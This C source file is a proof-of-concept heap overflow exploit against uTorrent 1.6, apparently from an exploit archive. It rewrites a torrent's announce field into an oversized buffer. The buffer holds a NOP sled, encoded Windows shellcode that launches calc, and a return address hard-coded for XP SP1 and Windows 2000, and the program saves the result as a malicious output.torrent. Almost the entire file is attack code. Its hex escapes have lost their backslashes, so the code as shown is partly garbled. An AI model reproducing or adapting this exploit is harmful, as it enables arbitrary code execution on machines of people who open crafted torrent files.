/*
 * This is a PoC remote exploit for uTorrent 1.6
 *
 * Author: 
 * defsec <defacedsecurity@hotmail.com>
 * http://www.defacedsecurity.com
 * 
 *
 * Works on XP SP1 and  w2k sp1-4
 *
*/

#include <stdio.h>
#include <stdlib.h>

#define NASIZE 4880

unsigned char nice_announce[NASIZE];
unsigned char xorops[]="x33xc0x33xdb";

// win32_exec - EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum
// Restricted Character 0x00
unsigned char shellcode[]=
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34"
"x42x50x42x50x42x30x4bx38x45x34x4ex43x4bx48x4ex47"
"x45x30x4ax37x41x30x4fx4ex4bx38x4fx34x4ax51x4bx48"
"x4fx55x42x42x41x30x4bx4ex49x44x4bx58x46x43x4bx58"
"x41x50x50x4ex41x33x42x4cx49x59x4ex4ax46x48x42x4c"
"x46x57x47x30x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e"
"x46x4fx4bx43x46x45x46x42x46x50x45x37x45x4ex4bx38"
"x4fx45x46x42x41x50x4bx4ex48x36x4bx58x4ex30x4bx54"
"x4bx38x4fx35x4ex51x41x50x4bx4ex4bx48x4ex41x4bx48"
"x41x50x4bx4ex49x48x4ex45x46x42x46x50x43x4cx41x53"
"x42x4cx46x36x4bx58x42x54x42x53x45x48x42x4cx4ax37"
"x4ex30x4bx48x42x34x4ex50x4bx58x42x57x4ex51x4dx4a"
"x4bx48x4ax46x4ax50x4bx4ex49x50x4bx38x42x58x42x4b"
"x42x30x42x50x42x30x4bx38x4ax56x4ex43x4fx35x41x53"
"x48x4fx42x56x48x45x49x38x4ax4fx43x48x42x4cx4bx37"
"x42x35x4ax36x50x47x4ax4dx44x4ex43x47x4ax36x4ax49"
"x50x4fx4cx48x50x50x47x55x4fx4fx47x4ex43x46x41x46"
"x4ex46x43x46x42x30x5a";

//msvcrt.dll pop,pop,ret addr all xp sp1 exchange it with 0x7801D07B for win2k sp3/sp4
unsigned char jmptosc[] = "xebx04
xa7x2cxc2x77
x33xc0xb0x11xc1xe0x08x5bx5bx5bx2bxd8xffxe3";

int main(int argc,char *argv[])
{
	FILE * pFile;
	long lSize;
	char * buffer;
	size_t result;

	long i = 0;
	long j = 0;
	long lPtrIndex;
	long lHeadSize;
	long lTailSize;
	char * curptr;
	char * alptr;
	char * torrentTail;
	
	if (argc < 2)
	{
		printf("n[uTorrent 1.6] Heap Overflow Exploit - by [DEFACEDSECURITY]");
		printf("nnUsage: ");
		printf("%s",argv[0]);
		printf(" <TorrentFile>n");
		return 0;
	}
	
	pFile = fopen (argv[1],"rb");
	if (pFile==NULL) 
	{
		fputs ("File error",stderr); 
		return 0;
	}

	// obtain file size:
	fseek (pFile ,0,SEEK_END);
	lSize = ftell (pFile);
	rewind (pFile);

	// allocate memory to contain the whole file:
	buffer = (char*) malloc (sizeof(char)*lSize);
	if (buffer == NULL) 
	{
		fputs ("Memory error",stderr); 
		return 0;
	}

	// copy the file into the buffer:
	result = fread (buffer,1,lSize,pFile);
	if (result != lSize) 
	{
		fputs ("Reading error",stderr); 
		return 0;
	}

	fclose (pFile);

	/* find announce / announce-list and erase it */
	alptr = (char *) strstr(buffer,"announce");
	if (alptr == NULL)
	{
		printf("ninvalid torrent file");
		return 0;
	}

	curptr = (char *) strstr(alptr, "7:comment");
	lHeadSize = curptr - buffer ;
	lTailSize = lSize - lHeadSize;

	torrentTail = (char *) malloc (sizeof(char)*lTailSize);
	memcpy(torrentTail,curptr,lTailSize);

	/* generate offending header */
	strcpy(nice_announce,"d8:announce4864:");
	for (lPtrIndex = 16; lPtrIndex <= 4864+16; lPtrIndex++)
		nice_announce[lPtrIndex] = 0x90;
	lPtrIndex = 84;
	memcpy(nice_announce + lPtrIndex ,xorops,sizeof(xorops)-1);
	lPtrIndex += sizeof(xorops) -1;
	memcpy(nice_announce+lPtrIndex,shellcode, sizeof(shellcode)-1);
	for (lPtrIndex = 4438; lPtrIndex<4458; lPtrIndex++,i++)
		nice_announce[lPtrIndex] = jmptosc[i];

	/* get head and tail together into a file */
	curptr = (char *) malloc(sizeof(char)*(NASIZE+lTailSize));
	for (i=0;i<NASIZE;i++)
		curptr[i] = nice_announce[i];
	for (;i<(NASIZE+lTailSize);i++,j++)
		curptr[i] = torrentTail[j];

	/* write to file and exit */
	pFile = fopen ( "output.torrent" , "wb" );
	if (pFile==NULL) 
	{
		fputs ("File error",stderr); 
		return 0;
	}
	fwrite(curptr, sizeof(char), (NASIZE+lTailSize), pFile);
	fclose (pFile);

	return 1337; //:)
}

// www.Syue.com [2007-02-12]